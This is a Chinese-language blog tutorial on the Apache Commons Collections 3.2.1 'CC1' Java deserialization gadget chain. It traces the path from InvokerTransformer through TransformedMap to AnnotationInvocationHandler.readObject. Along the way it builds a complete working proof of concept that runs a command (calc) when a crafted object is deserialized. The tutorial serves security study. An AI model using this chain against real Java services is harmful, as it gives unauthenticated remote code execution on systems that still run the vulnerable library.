java的CC1鏈分析與利用

高人于斯發表於2024-06-20

CC1鏈子分析

Commons Collections簡介

Apache Commons Collections 是一個擴充套件了Java 標準庫裡的Collection 結構的第三方基礎庫,它提供了很多強有力的資料結構型別並實現了各種集合工具類。 作為Apache 開源專案的重要元件,被廣泛運用於各種Java 應用的開發。

環境配置

jdk版本:jdk8u71以下,因為在該jdk版本以上這個漏洞已經被修復了

下載連結https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

一、依賴配置

先建立一個新的maven專案:

QQ截圖20240620185909

然後在檔案pom.xml的中新增(這裡是分析Commons Collections3.2.1版本下的一條反序列化漏洞鏈):

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

完成後重新載入一下即可。

二、原始碼配置

這個也是需要配置的,因為後面會用到jdk中的一些類,而這些類是class檔案,不利於我們分析,我們需要它的.java檔案,這就需要下載其對應原始碼。

下載:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

點選zip下載後解壓,在/src/share/classes中找到sun檔案,把其複製到jdk中src.zip的解壓檔案

QQ截圖20240620194911

然後在idea中的專案結構處載入源路徑

QQ截圖20240620194956

鏈子分析

終點類

終點類就是鏈子的最底端呼叫危險函式的地方,但這也是我們入手的地方。

介面Transformaer的tranform方法:

image-20240617171948475

然後看一下哪些類實現了該介面(IDEA中快捷鍵:ctrl+alt+b):

ChainedTransformer

QQ截圖20240617180737

這個類中的transform方法起到個鏈式呼叫的作用,就是把前一次的輸出當作後一次的輸入。

ConstantTransformer

QQ截圖20240617174351

可以看到該類是接受一個任意物件然後都返回一個常量,而該常量又是由建構函式控制的。

InvokerTransformer

QQ截圖20240617180903

這個類中的transform方法實現了個任意方法呼叫(因為其中的變數可以由建構函式控制)。可以利用其構造惡意方法進行程式碼執行。

測試一下:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1test{
    public static void main(String[] args)throws Exception {
        InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        in.transform(Runtime.getRuntime());
    }
}

QQ截圖20240617180327

可以看到能夠透過呼叫該類的transform方法進行惡意方法呼叫從而命令執行。其實就是其實現了個簡單的反射功能,讓我們把原本的兩行寫成了一行。那麼這個類就是終點類了。

在正常反序列化分析思路中其實就找兩個點,第一個是找哪個類中的方法有呼叫危險方法(終點類),第二個就是重寫了readObject的類(起點類),很顯然這裡的InvokerTransformer是終點類。

所以接下來就是看誰呼叫了InvokerTransformer.transform()方法,

checkSetValue()

查詢一下transform()的用法(就是看哪裡呼叫了transform()):

QQ截圖20240617202933

發現TransformedMap類的 checkSetValue()裡使用了 valueTransformer呼叫transform(),這個valueTransformer看名字就非常可疑,感覺應該是可控的引數,跟進到TransformedMap類中:

QQ截圖20240617203540

看到引數valueTransformer是保護+final屬性,但發現該類的建構函式可以對valueTransformer進行賦值。

QQ截圖20240617203716

可惜建構函式也是保護屬性,只能自己呼叫。不要灰心繼續找找看誰呼叫了該建構函式(有點像Rutime例項化的獲得,不過其是私有屬性)。

QQ截圖20240617203911

發現是個公有靜態方法可以呼叫。

那麼現在就是可以透過呼叫decorate函式來進行TransformedMap類例項化從而讓valueTransformer的值等於InvokerTransformer

然後就是要呼叫checkSetValue() 方法來實現上面InvokerTransformer中的transform()方法,但是從上面不難發現checkSetValue()是個保護屬性的函式,所以又要去找找誰呼叫了checkSetValue()方法。

QQ截圖20240617211449

setValue()

可以看到只有一個結果,跟進該類看看:

QQ截圖20240617211907

是個子類裡面呼叫的,並且它的構造方法是保護屬性,setValue方法倒是公有屬性,但看來是不能直接實列化來呼叫setValue()方法了,

但是這裡檢視該方法呼叫結果太多了,有38個結果,主要是我也看不懂怎麼呼叫的。先直接照著師傅們的構造呼叫一下吧:

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {
        InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map=new HashMap();
        map.put("key","value");
        Map<Object,Object> t= TransformedMap.decorate(map,null,in);//靜態方法staic修飾直接類名+方法名呼叫
        for(Map.Entry entry : t.entrySet()){
            entry.setValue(Runtime.getRuntime());
        }
    }
}

執行結果:

QQ截圖20240619185404

大概解釋一下為什麼這裡entry.setValue(Runtime.getRuntime());會呼叫到MapEntry中的setValue方法(雖然除錯一下也知道)。這裡其實就是在遍歷map中的鍵值對, 遍歷的鍵值對也就是Map.Entry的物件entry,跟進Map會發現裡面有setValue方法,子類MapEntry重寫了setValue方法,它繼承了AbstractMapEntryDecorator這個類,這個類中存在setValue方法,而這個類又引入了Map.Entry介面,所以我們只需要進行常用的Map遍歷,就會呼叫setValue方法

(其實感覺就像反序列化最基礎的readObject方法重寫一樣,為什麼就一定會呼叫到重寫readObject方法,因為序列化的物件就是這個類嘛。那麼這裡其實也差不多隻要是涉及的是Map的遍歷,呼叫setValue就會呼叫setValue。)

readObject()

但是很顯然這裡並不是終點鏈,因為還沒有涉及到反序列化。所以還是得找誰呼叫了setValue()方法,不過透過上面的自己構造呼叫來看,我們要找的類裡面呼叫setValue方法估計也是以差不多的形式來呼叫的。

最後在AnnotationInvocationHandle類中找到了符合條件的情況。

QQ截圖20240619190410

memberValue引數可控,而且發現還在readObject方法裡面,這不妥妥起點類了嘛。

QQ截圖20240619192920

但發現這個構造方法前面沒有public屬性,那麼就是default型別。在java中,default型別只能在本包進行呼叫。說明這個類只能在sun.reflect.annotation這個包下被呼叫。

我們要想在外部呼叫,需要用到反射來解決,進行構造:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {
        InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map=new HashMap();
        map.put("key","value");
        Map<Object,Object> t= TransformedMap.decorate(map,null,in);//靜態方法staic修飾直接類名+方法名呼叫
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Override.class,t);
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj; 
    }
}

三個問題

當然這樣是還呼叫不到setValue方法的,有兩個if條件。而且就算呼叫了發現setVlaue引數是固定的,我們還根本沒有把Runtime.getRuntime()這個引數傳進去,而且Runtime.getRuntime()也不能進行序列化,因為Runtime沒有序列化介面。QQ截圖20240619200413

總結一下這裡的幾個問題:

一、Runtime的序列化

二、setValue引數的改變

三、兩個if條件的繞過

解決Runtime的序列化

因為Runtime是沒有反序列化介面的的,所以其不能進行反序列化,但是可以把其變回原型類class,這個是存在serilize介面的:

QQ截圖20240619205805

在利用反射來呼叫其方法,下面是其反射呼叫的demo:

public class CC1test {
    public static void main(String[] args)throws Exception {
        Class c1=Runtime.class;
        Runtime runtime = (Runtime) c1.getMethod("getRuntime",null).invoke(null);
        c1.getMethod("exec",String.class).invoke(runtime,"calc");
	}
}

不過這種寫法下面照著改InvokerTransformer.tansform呼叫時不好對照,所以換一種詳細的寫法。

public class CC1test {
    public static void main(String[] args)throws Exception {
        Class c1=Runtime.class;
        Method getruntime = c1.getMethod("getRuntime",null);
        Runtime runtime=(Runtime) getruntime.invoke(null,null);
        c1.getMethod("exec",String.class).invoke(runtime,"calc");
	}
}

然後利用InvokerTransformer.tansform來進行代替反射進行呼叫,因為需要InvokerTransformer.tansform來呼叫危險函式嘛。

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1test {
    public static void main(String[] args)throws Exception {
        Method  getruntime=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime runtime=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
        }
}

分析構造,這裡其實就可以把new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);看作是呼叫Runtime.classgetMethod方法,引數是("getRuntime",null)

剩下的如法炮製。

QQ截圖20240619213221

但是這樣要一個個巢狀建立引數太麻煩了(當然也必須這麼改),這裡我們想起上面一個Commons Collections庫中存在的ChainedTransformer類,它也存在transform方法可以幫我們遍歷InvokerTransformer,並且呼叫transform方法:

再通俗一點講就是上面說過的會把前一次的輸出當作下一次的輸入,這裡transform的引數也就是上一次的輸出,所以非常符合當前這種情況。

構造:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1test {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
 
new ChainedTransformer(transformers).transform(Runtime.class);

簡單分析一下就是建立一個陣列把剛剛transform函式前面不同的值儲存起來待會迴圈呼叫。然後只需傳入引數Runtime.class就行了。

QQ截圖20240619214535

那麼解決了Runtime反序列化的問題,現在先加上反序列化的程式碼:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);
        
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//靜態方法呼叫

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Override.class,tmap); 
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
   }
}

解決if條件

上面程式碼執行肯定是彈不了計算機的。看看呼叫setValue的地方:

QQ截圖20240620155520

先不說setValue()方法的引數不是我們想要的,這裡還有兩個if條件,第一個if是要memberType != null,先看memberType是什麼:

Class<?> memberType = memberTypes.get(name);

而這裡的name就是鍵值對中的建,memberTypes:

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

這個就是註解中成員變數的名稱,但是上面的Override沒有成員變數。換一個註解,這裡用到Target

QQ截圖20240620161655

其成員變數名稱是value,所以把key設為value。再次進行除錯:
QQ截圖20240620161832

發現第二個if直接就符合條件了,順利來到了setValue(),不過這裡還是簡單分析一下第二個if條件:

就是判斷value是否是memberType和ExceptionProxy型別的例項,這裡value傳的是aaa字串肯定實不符和。所以直接呼叫到了最後一步setValue方法。

解決setValue引數

到這裡在理一遍思路,先把上面的程式碼粘下來:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);
        
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//靜態方法呼叫

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Override.class,tmap); 
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
   }
}

首先是透過InvokerTransformer類的transform方法來反射呼叫Runtime.getRuntimeexec方法執行危險命令。

後面由於需要Runtime序列化,所以要利用Runtime.class來一步一步呼叫到危險函式(也就是選呼叫到getRuntime方法然後再呼叫到exec方法)所以連續用了幾次InvokerTransformer類的transform方法。但是後面序列化肯定只有Runtime.class一個引數傳進去,所以又利用了ChainedTransformer類。它的transform方法可以實現迭代呼叫transform方法,這樣就只用傳入Runtime.class就可以直接執行到最後的calc了(當然這是手動呼叫)。

然後就是利用TransformedMapcheckSetValue方法來呼叫ChainedTransformer類的transform,在這之前,利用TransformedMap.decorate靜態方法來實現TransformedMap類的例項化主要需要呼叫其構造方法讓引數valueTransformer的值等於ChainedTransformer,這樣checkSetValue才能算是呼叫ChainedTransformertransform方法,

但由於這裡checkSetValue是保護屬性,所以又要利用MapEntry類的setValue方法來呼叫checkSetValue方法,由於MapEntry是個子類且其繼承了Map.Entry介面可以在使用上面Map遍歷的形式呼叫到MapEntry類的setValue方法(這是手動)

最後發現AnnotationInvocationHandler類中的readObject方法中剛好有這個Map遍歷,至此到readObject就算完成了最後一個類,雖然其是defualt屬性,但還是可以利用反射來達到呼叫。到這裡只需要解決最後一個問題,就是setValue的引數問題,因為這個setValue的引數也就是最後transform的引數。

發現前面提到的類ConstantTransformer可以把接受的任何引數都返回一個常量並且常量可控。

QQ截圖20240617174351

那麼構造:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//靜態方法呼叫


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object obj=con.newInstance(Target.class,tmap); //存疑
        serilize(obj);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
   }
}

這樣不管setValue是什麼引數當傳入到最後 ChainedTransformer.transforme時會透過ConstantTransformertransforme方法返回Runtime.class固定引數,這樣最後迭代一樣可以執行到calc

所以這條鏈也就結束了,從readObject開始可以一步一步到最後惡意命令執行。

總結

主要的函式呼叫就是:

transform ---->checkSetValue ----> setValue ----> readObject

只是其中穿插了一些其他需要解決的問題。

相關文章